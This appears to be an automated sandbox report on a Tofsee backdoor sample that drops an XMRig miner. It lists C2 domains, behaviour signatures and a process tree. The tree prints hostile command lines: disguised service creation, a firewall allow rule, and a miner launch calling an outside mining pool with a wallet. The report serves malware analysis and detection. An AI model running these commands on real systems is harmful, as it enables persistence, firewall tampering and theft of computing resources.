Analysis

  • max time kernel
    146s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2022, 22:28

General

  • Target
    file.exe
  • Size 144KB
  • Sample221127-2dmtbsdc77
  • SHA256 64718218c2c2a864e735efef319a027d31d276fe498491ea2f7100aabc8630ca
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hoisfime\
      2⤵
        PID:1160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\srqrsceh.exe" C:\Windows\SysWOW64\hoisfime\
        2⤵
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hoisfime binPath= "C:\Windows\SysWOW64\hoisfime\srqrsceh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1376
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hoisfime "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hoisfime
          2⤵
          • Launches sc.exe
          PID:1748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1508
      • C:\Windows\SysWOW64\hoisfime\srqrsceh.exe
        C:\Windows\SysWOW64\hoisfime\srqrsceh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1968
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1744

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            srqrsceh.exe

            • Path C:\Users\Admin\AppData\Local\Temp\srqrsceh.exe
            • Size 11.1MB
            • SHA256 3c05bf4a892c7033a696f65ab18ab5bcbfb9859db97ee35e1a410761b807e08a
            • MD5 SHA1 SHA512 SSDEEP

            srqrsceh.exe

            • Path C:\Windows\SysWOW64\hoisfime\srqrsceh.exe
            • Size 11.1MB
            • SHA256 3c05bf4a892c7033a696f65ab18ab5bcbfb9859db97ee35e1a410761b807e08a
            • MD5 SHA1 SHA512 SSDEEP

            memory/536-66-0x00000000005CD000-0x00000000005DE000-memory.dmp

            memory/536-58-0x0000000000400000-0x000000000045A000-memory.dmp

            memory/536-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/536-56-0x00000000005CD000-0x00000000005DE000-memory.dmp

            memory/536-54-0x0000000075B11000-0x0000000075B13000-memory.dmp

            memory/536-67-0x0000000000400000-0x000000000045A000-memory.dmp

            memory/536-64-0x00000000005CD000-0x00000000005DE000-memory.dmp

            memory/1744-102-0x0000000000260000-0x0000000000351000-memory.dmp

            memory/1744-100-0x0000000000260000-0x0000000000351000-memory.dmp

            memory/1948-80-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1948-90-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1948-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1948-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1948-81-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/1948-84-0x0000000000150000-0x0000000000156000-memory.dmp

            memory/1948-87-0x0000000000320000-0x0000000000330000-memory.dmp

            memory/1948-91-0x0000000000350000-0x0000000000355000-memory.dmp

            memory/1948-94-0x00000000058F0000-0x0000000005CFB000-memory.dmp

            memory/1948-97-0x00000000004A0000-0x00000000004A7000-memory.dmp

            memory/1968-77-0x00000000005FD000-0x000000000060E000-memory.dmp

            memory/1968-78-0x0000000000400000-0x000000000045A000-memory.dmp